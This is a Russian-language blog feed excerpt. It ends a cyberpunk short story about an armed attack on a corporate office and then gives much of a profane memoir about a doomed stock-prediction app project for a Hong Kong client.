  <p id="5AQP">— Достаточно подсветить в докладе проблемные места, отметить упущения и провалы, которых за этим старым чертом немало. Привести факты, перечислить неприятные инциденты. </p>
  <p id="9KvM">— Ну и сослаться на «слабеющие когнитивные возможности» старой мразоты.  Со всем уважением, разумеется.</p>
  <p id="nxsD">В качестве завершения тирады раздался смачный хруст сельдерея.</p>
  <p id="hNrO">— Тот январский сбой помнишь? </p>
  <p id="KHt9">Встревает в разговор русый.</p>
  <p id="dflM">— Два ключевых сегмента корпративной сети сутки лежали. </p>
  <p id="XkUB">— Тестовые стенды, багтрекер, даже мать его корпоративный чат — все накрылось.</p>
  <p id="8Td4">— Мы с Арсеном (кивает на армянина) тогда контракт потеряли, жирный. Оборонку. </p>
  <p id="RWTb">— Не очень приятно когда тебя при подчиненных называет «тупым долбоящером» целый генерал армии, пусть и штабной.</p>
  <p id="1DWv">Арсен дожевав сельдерей продолжает нагнетать: </p>
  <p id="pQfh">— А старой крысе все сошло с рук. </p>
  <p id="kPdg">— «Обновления неудачно поставили», понимаешь. </p>
  <p id="P06S">— Скоты криворукие.</p>
  <p id="nlhg">Соглашается русый.</p>
  <p id="Ak13">— Да просто эта старая гнида с безопасниками уже десяток лет на короткой ноге. </p>
  <p id="Bg51">— Подал руководству все так, будто это он один — герой и защитил компанию от «страшной угрозы извне». </p>
  <p id="sSVr">— Мразота плешивая.</p>
  <p id="I9Vx">— Короче господа, давайте еще раз пройдемся по нашему плану и проговорим ключевые места, чтобы потом не было разногласий.</p>
  <p id="3gcX">Мы еще долго сидели в тот день, обсуждая до мелких деталей хитроумный план, которому так не суждено было воплотиться в жизнь. </p>
  <p id="kyg1"></p>
  <h2 id="Zxo9">Неделя назад</h2>
  <p id="gref">Как вообще можно что-то планировать? </p>
  <p id="pyiv">Жизнь это хаос и случайность.</p>
  <p id="6Zxr">Управление рисками? Серьезно?</p>
  <p id="MPFG">Расскажите об этом фаундеру, который пришел показывать свой проект инвесторам в тот замечательный день.</p>
  <p id="3Tq3">Чувак — гений, без дураков, много лет учился, затем работал наемным сотрудником в крупных компаниях. Нашел нишу, собрал команду единомышленников, которая даже успела что-то выпустить.</p>
  <p id="kRs3">И вот настает его час, он встает и выходит на сцену, судорожно включает ноутбук и запускает презентацию свой проекта. </p>
  <p id="LK9U">«Важного для всего человечества», разумеется — ради меньшего такая аудитория не собирается.</p>
  <p id="6UAj">Голос предательски дрожит, несмотря на весь опыт и достижения, фаундер волнуется, его аудитория сегодня — люди из другого социального класса, из другого мира, практически с другой планеты.</p>
  <p id="R5ks">С планеты, где все и всегда хорошо.</p>
  <p id="rPLR">Из сказочного, волшебного мира, в котором всем по#бать на исполнителей — тех кто выносит говно и прибирает за «сильными мира сего».</p>
  <p id="oObQ">Фаундер начинает заготовленную речь. </p>
  <p id="5jkT">Стандартные формулировки и шаблонные заходы, ничего нового. </p>
  <p id="xdNV">Публика начинает откровенно скучать.</p>
  <p id="zXb6">Пресыщенная аудитория отвлекается, начинает тупить в телефоны, мелькают злобные ухмылки, не предвещающие ничего хорошего. </p>
  <p id="blav">Казалось бы судьба очередного стартапа предрешена и очко фаундера вот-вот уйдет в зрительный зал.</p>
  <p id="IZmH">Но высшие силы решили в этот день пошутить.</p>
  <h2 id="wJIu">Тот же день, подземная парковка</h2>
  <p id="JdRD">Самый обычный фургон ремонтной компании, не привлекая лишнего внимания медленно заезжает на подземную парковку корпорации.</p>
  <p id="1eT7">— Помните нашу миссию, парни! </p>
  <p id="Vwe3">— Мы все были рождены ради великой цели!</p>
  <p id="kGAA">— Другого пути нет и создатель благословил нас на великое дело. То, чему суждено произойти сегодня это не конец!  </p>
  <p id="Jftr">— Это великое начало!</p>
  <p id="ILJt">Декламирующая всю эту дичь женщина вызывала уважение. И вполне определенные желания, сексуального толка.</p>
  <p id="1SZl">Но нам, простым работягам все было понятно и так, без ненужных слов и говорящих п#зд.</p>
  <p id="GGEb">Понятно очень давно.</p>
  <p id="uYaB">Корпорация — чистое зло, ее сотрудники — чипированные упыри, творящие эксперименты и опыты над живыми людьми.</p>
  <p id="POu9">Не надо таким жить на свете.</p>
  <p id="QBlx">Рожок патронов для АК-74 скоро станет для них проводником в иной мир. </p>
  <p id="ESVm">Мир мертвых.</p>
  <p id="Y0XQ">Все просто и понятно.</p>
  <p id="EHoW">Особенно когда есть АК-74, патроны и немного «волшебной пыльцы», так ускоряющей мышление.</p>
  <h2 id="OGJD">Тот же день, лифт</h2>
  <p id="054K">Артем, молодой белый мужчина, с высшим образованием, хорошим послужным списком и идеальной биографией.</p>
  <blockquote id="MKk5">Не п#дор, наркоман или мудак, пытающийся сдать в ломбард последний корпоративный гвоздь ради налички для очередной ставки.</blockquote>
  <p id="7qRz">Сейчас он выбрит, надушен и в деловом костюме, что не очень типично для айтишника.</p>
  <p id="bOgr">Артем ведет корпоративную Тойоту аккуратно, не превышая рекомендуемую скорость и соблюдая все правила  — он знает, что сегодня важный день и отчет по поездкам в течение последнего месяца обязательно ляжет на стол руководству.</p>
  <p id="WeOR">Любая мелочь, любое нарушение может стать провалом.</p>
  <p id="hJzi">Припарковавшись на многоуровневой корпоративной стоянке, Артем заходит в лифт, который должен доставить его на 75 этаж головного офиса корпорации, в переговорную. Где его уже ждут.</p>
  <p id="dFvW">Он должен прочитать важный доклад для высшего руководства, способный радикально изменить его жизнь и карьеру.</p>
  <p id="2TTU">Он спокоен и сосредоточен, идет четко к цели и не замечает ничего вокруг. Артем не верит в Бога, не верит в судьбу, не верит в случайности и совпадения. </p>
  <p id="G0Pp">Поэтому когда в лифт вслед за ним влетают пятеро вооруженных людей в масках — все его понимание этого мира рушится.</p>
  <p id="32JN">Окончательно и бесповоротно.</p>
  <p id="8pxr">Последнее что он видит это приклад автоматической винтовки, которым его бьют по голове.</p>
  <p id="Dgf9"></p>
  <h2 id="ClRe">Утро нового дня</h2>
  <p id="fz8O">— На этом все Павел Георгиевич, доклад закончил.</p>
  <p id="kOco">— Свободен.</p>
  <p id="WT2k">Оперативник быстро кланяется и направляется к выходу.</p>
  <p id="YAPF">В помещении темно и накурено, на экране трехмерного проектора остается замерший кадр — последнее что увидела камера: пятеро вооруженных боевиков в масках залетают в кабину лифта. </p>
  <p id="rV9j">Павел Георгиевич достает именной портсигар, вытягивает тонкую, вручную набитую папиросину и задумчиво катает ее между пальцами.</p>
  <p id="h997">Он видел многое за свою долгую жизнь в корпорации, еще больше — на посту тайного агента службы безопасности. </p>
  <p id="D31t">Но всему есть предел и у всего есть конец. </p>
  <p id="W4Ua">И срок службы уважаемого Павла Георгиевича практически подошел к своему логическому концу — с такой работы не увольняют и не отпускают. </p>
  <p id="EXhO">Даже на пенсию.</p>
  <p id="7RO7">— Н-да, вот такие дела. </p>
  <p id="9jYG">— Неожиданно. </p>
  <p id="o3vK">— Неожиданно и неприятно.</p>
  <p id="wJNy">Поворачивается к сидящему рядом сотруднику.</p>
  <p id="66bf">— Ну что, Тимур, ты же хотел повышения?</p>
  <p id="nXCm">Кивает на экран проектора.</p>
  <p id="OUQt">— Вот это он, твой шанс. Жги. </p>
  <p id="vAwR">Тимур — крепкий коренастый азиат, оторвал взгляд от досье Артема Павленко, которое он изучал второй час подряд и посмотрел на своего шефа.</p>
  <p id="HbSd">— К сожалению наши системы безопасности оказались не рассчитаны на идиотов.  </p>
  <p id="w4dX">— А в террористы почему-то других не берут.</p>
  <p id="2zhk">— Ну почему же сразу идиоты? У них есть великая цель, есть идея.</p>
  <p id="iSFR">Павел Георгиевич закончив мусолить папиросину, наконец закуривает.</p>
  <p id="XFpc">— В сущности это лучшие люди, чистые и незамутненные в своей идейной борьбе. Лучше чем мы с тобой.</p>
  <p id="UJIJ">Затягивается и выпускает клуб дыма в потолок.</p>
  <p id="Q8s8">— Ага, незамутненные идиоты. Точно подмечено шеф.</p>
  <p id="ecXJ">Тимур не улавливает сложного юмора руководства, которое так старался подсидеть.</p>
  <p id="GGox">— Ладно, вижу в философских вопросах ты не силен, давай тогда ближе к делу. Оперативная обстановка, план действий, идеи, мысли, замечания — излагай.</p>
  <p id="wQCH">..</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/one-hundred-percent-recognition</guid><link>https://blog.0x08.ru/one-hundred-percent-recognition?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/one-hundred-percent-recognition?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Стопроцентное распознавание</title><pubDate>Tue, 24 Feb 2026 10:51:55 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/92/d0/92d0c6ac-67aa-4bc3-9968-6603d6a1a358.png"></media:content><category>project-management</category><description><![CDATA[<img src="https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg"></img>У истории про «элитный вайбкодинг», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория.]]></description><content:encoded><![CDATA[
  <p id="ljgh">У истории про «<a href="https://blog.0x08.ru/elite-vibecoding-2026" target="_blank">элитный вайбкодинг</a>», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория. </p>
  <p id="DyNt">Сейчас расскажу «как Сол Гудман стал таким». </p>
  <p id="CwXo">Проектному управлению посвящается.</p>
  <figure id="3VpF" class="m_column">
    <img src="https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg" width="1154" />
  </figure>
  <h2 id="gZfv">Низвержение в Мальстрем</h2>
  <p id="EPO7">Если никогда не бывали в <a href="https://en.wikipedia.org/wiki/Hong_Kong" target="_blank">Гонконге</a>, то многое потеряли — это место точно стоит посетить, хотя-бы раз в жизни. </p>
  <p id="C1Tr">Особенно если кино про компьютеры, вроде «<a href="https://en.wikipedia.org/wiki/Ghost_in_the_Shell_(1995_film)" target="_blank">Призрака в доспехах</a>», «<a href="https://en.wikipedia.org/wiki/Hackers_(film)" target="_blank">Хакеров</a>» или «<a href="https://en.wikipedia.org/wiki/Johnny_Mnemonic_(film)" target="_blank">Джонни Мнемоника</a>» для вас что-то значит. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qUOk">Огромный, футуристический мегаполис, неоновые вывески с иероглифами и бесконечные толпы людей вокруг.. </p>
  </section>
  <p id="mDNO">Яркие краски и узкие улочки «в тени мегабашен», с гудящими кондиционерами, мелкие лавочки с азиатской едой — именно Гонконгом и его атмосферой вдохновлялись многие известные авторы жанра <a href="https://en.wikipedia.org/wiki/Cyberpunk" target="_blank">киберпанк</a>. </p>
  <figure id="EbiD" class="m_column">
    <img src="https://img4.teletype.in/files/7f/ca/7fca03cc-12f6-4384-8776-957ba2a5668b.jpeg" width="2560" />
    <figcaption>Все фото - авторские, снятые в Гонконге и Сингапуре, во времена описываемых событий.</figcaption>
  </figure>
  <p id="JL7G">Именно здесь, в одном из маленьких, но очень атмосферных гонконгских баров началась эта печальная история. После которой я наконец перестал пытаться изменить мир и окружающих.</p>
  <p id="R17U">..</p>
  <p id="gyZB">— Повторяю вопрос: ты точно уверен? </p>
  <p id="8t9K">— Еще можно все отменить, договор не подписан. Можем «дать заднюю» без особых последствий.</p>
  <p id="dMd3">С тогдашним деловым партнером, назовем его Павлом, мы были знакомы еще со студенческих времен. Но бизнес есть бизнес — в нем есть жесткие правила, самое важное из которых: </p>
  <blockquote id="UryS">нам надо зарабатывать деньги.</blockquote>
  <p id="Hecl">Высокая прибыль от проекта легко может быть перекрыта например судебным иском, с требованием возмещения. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="dp97">Поэтому решение брать ли проект в работу — <strong>всегда</strong> сложное и зависит от множества факторов, не всегда очевидных обывателю. </p>
  </section>
  <p id="aivm">Даже если на счетах миллиард, в штате  десяток зубастых юристов, а компания называется <s>EPAM</s> Accenture.</p>
  <p id="J8vR">— Да-да, уверен. Сколько можно повторять? </p>
  <p id="exHu">— Мистер Лююю Фхенх действительно заинтересован.</p>
  <p id="rYsE">Чуждое для отечественного уха имя было намерено исковеркано. Павел не особо котировал азиатских бизнесменов. </p>
  <figure id="OYSi" class="m_column">
    <img src="https://img2.teletype.in/files/d9/99/d999092d-1507-4a17-b0b4-165ce23db9da.jpeg" width="2560" />
    <figcaption>Улицы ночного Гонконга.</figcaption>
  </figure>
  <p id="nlSf">Несмотря на регулярное деловое общение с ними и многочисленные поездки по странам Азии. </p>
  <p id="L4oe">— Мы его впечатлили, насколько это возможно для азиата. Так что расслабься и насладись наконец победой.</p>
  <p id="F9Cb">Сидели мы, как помню, в уютном, крошечном баре, в самом начале длинной улицы с разнообразными питейными заведениями.</p>
  <p id="Ed2K">Был тихий, спокойный вечер. Даже слишком тихий и спокойный для такого огромного мегаполиса.</p>
  <p id="HKWQ">— Не нравится мне эта история, от слова «совсем». </p>
  <p id="ebs9">— Риски слишком велики. Чужая страна, сложная область, еще и разработка с нуля. <s>Обосремся</s> Надорвемся.</p>
  <p id="gave">Партнера не удивило такое отношение, все-таки мы были знакомы очень давно.</p>
  <p id="93U4">— Все потому, что ты, мой дорогой друг, плохо учил историю.   </p>
  <p id="DmTo">Мой собеседник сделал изящный пируэт кружкой пива, чему деловой костюм никак не помешал — примерно для этого и существует индивидуальный пошив. Для свободы действий.</p>
  <p id="BMtZ">— Мы с тобой в бывшей английской колонии, колонии европейской цивилизации. А ты между прочим европеец, фактически бывший господин для местных обитателей. </p>
  <p id="GNT2">— Так что больше уверенности.</p>
  <p id="TRu8">Пора было закрывать лавочку, продолжение банкета привело бы к <s>открытию филиала в Денвере</s> закономерному печальному финалу.  </p>
  <p id="MXXv">Но постебать Павла напоследок я все же не забыл:  </p>
  <p id="gYqG">— Ты в курсе, что славяне за европейцев никогда не считались?</p>
  <p id="EGTY">..</p>
  <figure id="YKi9" class="m_column">
    <img src="https://img2.teletype.in/files/5f/b4/5fb42d0a-2d0e-467c-94e0-d01d84207ff5.jpeg" width="2560" />
    <figcaption>Еще немного ночного Гонконга.</figcaption>
  </figure>
  <p id="Get7">Понимаю что сейчас — после пандемии, череды войн и мировых кризисов все это кажется невероятной идиотией, но тогда все было иначе.</p>
  <blockquote id="ijXh">Мы действительно видели себя на вершине мира — тихого и спокойного мира, в котором существовали правила. </blockquote>
  <p id="4zyA">Конечно мы ошибались. </p>
  <p id="kH0m">..</p>
  <p id="yMhT">Утром следующего дня, такси высадило нас у старого офисного здания в деловом центре Гонконга.</p>
  <p id="8xLa">— Добрый день, господа!</p>
  <p id="VGiW">— Мистер Лу скоро будет готов принять вас, подождите пожалуйста здесь.</p>
  <p id="VQGf">— Чай? Кофе?</p>
  <p id="MnNh">Первый признак серьезности для делового человека — его секретарь. </p>
  <blockquote id="yDJX">Не юная миловидная девушка с соблазнительными формами, забывающая надевать лифчик, вовсе нет. </blockquote>
  <p id="RHeu">Такое только для дураков, не имеющих к реальному бизнесу никакого отношения.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="dmvF">Лютый цербер, с детектором проблемных клиентов, владеющий приемами рукопашного боя и навыками международной дипломатии — вот что такое секретарь серьезного человека.</p>
  </section>
  <p id="qSzI">И одного взгляда на встретившего нас секретаря было достаточно для осознания:</p>
  <blockquote id="Rlpe">достопочтенный мистер Лу Ченг — серьезный бизнесмен, без вопросов и сомнений.</blockquote>
  <p id="AXYH">Нас проводили в небольшую комнату ожидания. </p>
  <figure id="ofah" class="m_column">
    <img src="https://img1.teletype.in/files/07/d3/07d376fd-178d-4c9c-bda5-edf7fc958008.jpeg" width="1280" />
    <figcaption>Это уже Сингапур и сейчас этот район стал раза в два больше.</figcaption>
  </figure>
  <p id="IJBt">Пара мягких диванов, столик с рекламными буклетами компании, картины на стенах — ничего примечательного. За исключением пары мелких деталей, дающих понять, что мы все-таки в Азии.</p>
  <p id="sAnR">На одном из диванов уютно расположилась пара весьма занятных персонажей — Боб и Майк, как они позже представились. Классические бриты.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="oTIJ">«Sales executive» — специалисты по работе с ключевыми клиентами. Из одной очень известной компании с мировым именем.</p>
  </section>
  <p id="kIKH">Пара — не в том смысле что они были «парой» и делали друг с другом всякое темными ночами. Просто их было двое. </p>
  <p id="hVP0">— Так что парни, чем занимаетесь?</p>
  <p id="ukIf">К моменту когда был наконец задан этот вопрос, мы успели пожать руки, представиться и завязать тот самый «small talk» — легкую светскую беседу «ни о чем», которая так тяжело дается выходцам из стран СНГ.</p>
  <p id="bGrI">Пришло время для более серьезного разговора.</p>
  <p id="frde">— Разработкой программного обеспечения. Ну знаешь, программы всякие, для компьютеров.</p>
  <p id="Qq03">Боб с интересом кивнул.</p>
  <p id="yyUh">— А вы из России да? Говорят в России лучшие программисты.</p>
  <p id="NGtB">Майк был немного старше и по всей видимости более искушен в дипломатии.</p>
  <p id="dIha">— Далеко же вы ребята забрались. Надеюсь у вас все получится в Гонконге.  Можем чем-то помочь? </p>
  <p id="DMtI">— Наша компания предоставляет облачные услуги, но вы наверное в курсе.</p>
  <p id="yOaL">Еще бы мы не были в курсе — Боб с Майком представляли компанию масштаба Микрософта в сфере облачных решений. Уверен, вы дорогой читатель, тоже ее хорошо знаете.</p>
  <p id="J9k6">— Мы заинтересованы в новых партнерах, поможем, обучим, <s>отсосем</s> дадим льготный период. </p>
  <p id="z4zB">— Что у вас за проект?</p>
  <p id="CKov">Так мы сделали первую серьезную ошибку, рассказав Бобу и Майку о нашем проекте. Первую в этом повествовании разумеется, не хронологически.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4uIN">Хронологически первой серьезной ошибкой, была покупка родителями домашнего компьютера.</p>
  </section>
  <p id="G3LI">Что в итоге и превратило обоих вместо приличных членов общества в ээ.. отъявленных представителей ИТ-индустрии.</p>
  <p id="c5kP">— У мистера Лу есть проект по анализу документов о размещении акций с бирж, у нас — соответствующий опыт и компетенции.</p>
  <p id="qZEQ">Павел кивнул на меня. </p>
  <p id="zw74">— Пилот успешно запустили, теперь расширяем функционал.</p>
  <p id="jtRX">Боб с Майком переглянулись.</p>
  <p id="bJae">—У нас с мистером Ченгом тоже ээ.. есть один проект. </p>
  <p id="TsGM">— Но с такими крутыми парнями как вы, точно хотелось бы посотрудничать. Обсудим?</p>
  <p id="piMl">Позже выяснится, что никакого проекта у Боба с Майком не было, с мистером Лу они толком не были знакомы и вообще реальная ситуация сильно отличалась от рассказанного нам. </p>
  <p id="j277">Сотрудники мировой корпорации, как оказалось, запросто могут врать в лицо, забивать на любые правила и даже букву закона. </p>
  <blockquote id="QkKP">И все это в стране первого мира.</blockquote>
  <p id="ZBh3">Блеф, презрение и ненависть могут быть вежливыми и с соблюдением этикета — я смог убедиться в этом задолго до первой публикации на Хабре.</p>
  <figure id="kzvD" class="m_column">
    <img src="https://img1.teletype.in/files/8c/4e/8c4e168b-41c7-4739-82a4-bb8d02f771e0.jpeg" width="2560" />
    <figcaption>Еще улочки Гонконга, узнаете стилистику?</figcaption>
  </figure>
  <h2 id="NpzN">Конкретика</h2>
  <p id="S7hN">Понимаю, что слегка утомил литературными изысками, все же это техническая статья, а не гламурный роман. </p>
  <p id="H4Ud">Так что даю наконец «цинк»:</p>
  <blockquote id="p1Jn">Десять лет назад случился проект, который чуть нас не угробил, вогнав в серьезные долги и поставив на грань выживания. </blockquote>
  <p id="aF1y">Проект, который сильно поменял мои взгляды на жизнь, работу и отношение к клиентам. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="CEX7">Проект, ставший своеобразным приквелом к истории с «<a href="https://blog.0x08.ru/elite-vibecoding-2026" target="_blank">Элитным вайбкодингом</a>»</p>
  </section>
  <p id="zrWP">Текст ниже надеюсь доходчиво объяснит, почему автор больше не испытывает угрызений совести и моральных терзаний при работе с клиентами.</p>
  <p id="bwdb">Еще по этому адскому проекту давно выложена <a href="https://blog.0x08.ru/projects-data-processing-2017" target="_blank">отдельная статья</a> с техническими деталями, с примерами кода, скриншотами и так далее. </p>
  <p id="JiHP">Хотя материалов с тех лет осталось немного: </p>
  <blockquote id="sieX">большая часть работы заключалась в сложной обработке данных, а делать скриншоты черной консоли казалось скучным занятием.</blockquote>
  <p id="R9Iv">Но повторяться не буду и этот рассказ пойдет в первую очередь <strong>про людей</strong>, со всеми их бедами и проблемами. Не про технологии и компьютеры, у которых все хорошо пока есть электричество. </p>
  <p id="aR9F">Также стоит сразу уточнить: </p>
  <blockquote id="pESd">несмотря на реальность событий, имена действующих лиц и некоторые факты биографии все же были изменены.</blockquote>
  <p id="oYnO">Поэтому в частности, упоминаемая семья Ченг <strong>не имеет отношения</strong> к реальному и весьма известному миллиардеру из Гонконга. </p>
  <figure id="XLmt" class="m_column">
    <img src="https://img1.teletype.in/files/4c/29/4c29a439-e999-4a7b-849d-b46641303d0e.jpeg" width="2560" />
    <figcaption>Вид на Гонконг из здания аэропорта. Да, там есть горы.</figcaption>
  </figure>
  <h2 id="8ZaX">Трудности перевода</h2>
  <p id="nJkD">С Ченгом-младшим мы познакомились, как часто бывает, совершенно случайно — в аэропорту. Случилась задержка рейса на несколько часов, которые решили скоротать в баре.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="yRTp">— Do you speak English?</p>
  </section>
  <p id="EQ6v">Меня регулярно принимают за местного в чужих городах и странах, приставая с дурацкими вопросами. Такое случалось даже в <a href="https://en.wikipedia.org/wiki/Singapore" target="_blank">Сингапуре</a>, поэтому не особо удивился, заметив перед собой молодого азиата в дурацкой панамке со скорбным выражением лица. </p>
  <p id="ZhpQ">Оказалось, что его рейс тоже задержали, а элитная кредитка в российском банкомате почему-то не читалась, оставив иностранного туриста без денег. </p>
  <p id="MCk6">Еще он очень устал и хотел спать. </p>
  <blockquote id="VLzf">Русского он конечно не знал, а уровень владения английским в отечественных аэропортах не далеко ушел от классического «лет ми спик фром май харт». </blockquote>
  <p id="PuZs">Так Томасу Ченгу — сыну известного бизнесмена Лу Ченга из Гонконга в первый раз понадобилась наша помощь. </p>
  <p id="TqGq">Пусть всего лишь с такси и гостиницей.</p>
  <figure id="OMop" class="m_column">
    <img src="https://img1.teletype.in/files/43/fe/43fee324-613b-4de7-a236-1565de3dfb27.jpeg" width="1280" />
    <figcaption>Уникальный ТЦ в Сингапуре, с лодочным каналом! Можно было натурально приплыть за покупками.</figcaption>
  </figure>
  <h2 id="tsZ7">Сказочное Бали</h2>
  <p id="i25y">Две недели спустя мы с партнером сидели в красивом, стильно обставленном офисе. </p>
  <p id="vPd8">— Томас, понимаем задача грандиозная. </p>
  <p id="goc0">— Но нужен план. И оценка бюджета, хотя-бы примерная. </p>
  <p id="rbCP">Ченг-младший совсем недавно закончил престижный университет и рвался «всем все доказать», а едва узнав чем мы занимаемся — не <s>слезал с нас</s> вылезал из переписок неделю, изливая на нас одну ох#ительную идею за другой.</p>
  <p id="1G6C">Университет хоть и был действительно престижным, своего звездного студента мало чему смог научить. </p>
  <blockquote id="fyOy">Точно не <s>сопромату</s> дисциплине и планированию. </blockquote>
  <p id="LyGf">Но хороший вкус у Ченга-младшего был, этого не отнять.</p>
  <p id="tdc4">— Все очень просто. </p>
  <p id="4CS9">(не представляете как часто эта фраза звучит на переговорах) </p>
  <p id="oNas">— Надо сделать простую программу, чтобы пользователи могли покупать и продавать акции компаний на бирже. </p>
  <p id="ZAwN">— Всего лишь две кнопки: «купить» и «продать».</p>
  <p id="y6JA">«Программа» это разумеется мобильное приложение, других Томас не признавал. Точнее две: под iOS и Android, с разными маркетплейсами, правилами аудита, продвижением и ограничениями. </p>
  <blockquote id="zHJ8">И конечно минимум две разных версии под планшеты.</blockquote>
  <p id="Qt7C">Плюс невидимый глазу клиента бекэнд с API, авторизация, внешние интеграции и вся обвязка для управления. Но это лишь «скучные технические детали», ненужные и неинтересные.</p>
  <p id="3VQJ">— Еще там будут советы <s>бывалых</s> какие акции сейчас стоит купить, а какие продать. </p>
  <p id="KYRS">— Главная фишка сервиса. Ни у кого такого нет!</p>
  <p id="ulyF">Разумеется подобных «уникальных приложений» было даже тогда — как <s>говна за баней</s> очень много. Но тратить время на переубеждение потенциального клиента.. ..чтобы что? Cорвать переговоры? </p>
  <p id="O7uP">— А откуда все эти «советы» будут браться? Посадишь финансовых аналитиков вбивать?</p>
  <p id="h4Gl">— Не-не-не! 21й век на дворе, вы чего.</p>
  <p id="Q5UY">— Сделаем уникальную систему с искусственным интеллектом. Она сама будет <s>бегать за пивом</s> получать данные с бирж, читать их и анализировать. </p>
  <p id="xf9T">— Затем выдавать рекомендации пользователям. </p>
  <p id="sAwq">— Платные, разумеется.</p>
  <p id="55CH">Мы с Павлом переглянулись. </p>
  <p id="G0DJ">Напомню, дело происходило больше <strong>десяти лет назад</strong>, до появления ChatGPT и массового <s>психоза</s> увлечения нейроcетями. </p>
  <p id="G1EA">ИИ тогда был, по большей части, темой научных диссертаций и R&amp;D, но точно не мейнстримом. </p>
  <figure id="kKt6" class="m_column">
    <img src="https://img1.teletype.in/files/c6/a3/c6a3e3fd-6451-4c47-a6a6-a8ad464967c5.jpeg" width="1280" />
    <figcaption>Улицы Сингапура, ничего интересного.</figcaption>
  </figure>
  <p id="rt3S">Томас тем временем продолжал фонтанировать. </p>
  <p id="QjWy">— У меня есть знакомый ученый, математик или что-то такое.  </p>
  <p id="jWaw">— Учились вместе. Как-то напоили до потери сознания и привязали к заднице петарду с блестками. Он ползал по кампусу и блевал дугой во все стороны, а из задницы летели фейерверки  — весело было всем! </p>
  <p id="rGlS">Судя по выражению лица Ченга-младшего, такие развлечения у них были регулярными.</p>
  <p id="DbxU">— Короче я его нанял, чтобы ваять автоматические предсказания по акциям, с помощью всей этой технической зауми и матана.</p>
  <p id="OJlb">— И это работает, просто пока ээ.. не полностью.</p>
  <p id="DIeO">Еще одна частая фраза на переговорах: «работает, но не полностью». Примерно как «машина ездит, но пока без колес».</p>
  <p id="5w5H">— Ладно, а как это сейчас выглядит?</p>
  <p id="p8hM">— Ну мой математик просто скачивает файлы с бирж вручную, выделяет нужные цифры с количеством акций и изменениях долей акционеров и подставляет в свою модель.</p>
  <p id="RQG1">Тогда у меня еще дергался глаз с описания таких рабочих процессов, но про дипломатию я все же не забывал: </p>
  <p id="jD9d">— Кропотливая работа, наверное.</p>
  <p id="Z4pP">— Да плевать, ему за это платят. </p>
  <p id="pl5s">Ченг-младший, родившийся «с золотой ложкой» предсказуемо имел другие взгляды на дипломатию и будни простых сотрудников.</p>
  <p id="9AI4">— На данный момент успели проверить модель на примерно сотне документов. Что вроде как мало. </p>
  <p id="lO7a">Для счастливых обладателей гуманитарного образования поясняю: </p>
  <blockquote id="oLiQ">сотня документов для такой задачи это <s>п#здец</s> невозможно мало, это даже не курсовая работа.</blockquote>
  <p id="fcNo">Уровень школьного проекта, не самой лучшей школы.</p>
  <p id="a2k7">..</p>
  <p id="e4nd">Не буду утомлять читателя дальнейшим пересказом тех далеких событий, полагаю отрывка выше вполне достаточно для понимания сути.  </p>
  <p id="2Sm5">Лишь добавлю, что с Томасом был таки подписан договор, по которому мы должны были сделать пилот его гениального приложения с предсказаниями и советами. </p>
  <p id="Gqau">По вполне конкретному ТЗ, усилия для согласования которого были сопоставимы с работой дипломатов МИД РФ по урегулированию известного конфликта в соседней стране. </p>
  <p id="lPuf">Казалось, ничего не предвещало большой беды. Ну почти.</p>
  <figure id="zZmO" class="m_column">
    <img src="https://img4.teletype.in/files/b1/cd/b1cd9330-3041-4b46-b5a2-4b43a518433d.jpeg" width="2560" />
    <figcaption>Подворотни Гонконга, уверен вы видели это в недавнем Cyberpunk 2077.</figcaption>
  </figure>
  <h2 id="11FH">Cherchez la femme</h2>
  <p id="eFJj">У нашей беды было красивое имя, ее звали Катрин. </p>
  <p id="tIMq">Ну вы же не думали, будто статья про грандиозный провал обойдется без участия женщины?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Kd6x">«Cherchez la femme», мои дорогие, так устроен этот мир.</p>
  </section>
  <p id="XpQA">Эффектная, умная, образованная и с хорошими формами — Катрин работала на Томаса и будучи чем-то средним между COO, CFO и <s>балериной-космонавтом</s> секретаршей-аналитиком, быстро стала связующим звеном между придурковатым Ченгом-младшим и нашей разработкой.</p>
  <p id="CSGh">Как выяснилось потом, Катрин оказалась непростым персонажем — с сюрпризом. </p>
  <blockquote id="01HL">Не <em>с тем самым сюрпризом</em>, про который сейчас подумали юные любители Таиланда, вовсе нет. </blockquote>
  <p id="U3nY">Все оказалось гораздо хуже, причем хуже в первую очередь для нас — простых исполнителей, не для Томаса и его сказочного проекта.</p>
  <p id="OvEo">Наконец последним фактором, внесшим разлад в наши стройные ряды и серьезно повлиявшим на дальнейшие события, была дурацкая попытка моего тогдашнего партнера.. приударить за Катрин.</p>
  <p id="0Y4j">«Не ну, а чо», красивая и умная женщина, теплый экзотический Гонконг — почему нет?</p>
  <p id="Y8oW">Например потому, что <s>романы на работе плохо заканчиваются</s> на свете нет чудес.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="JJB2">Умный человек никогда не будет <em>просто так</em> работать на идиота.</p>
  </section>
  <p id="xGOp">Катрин была умной, Ченг-младший — <s>тупым</s> откровенно недалеким. </p>
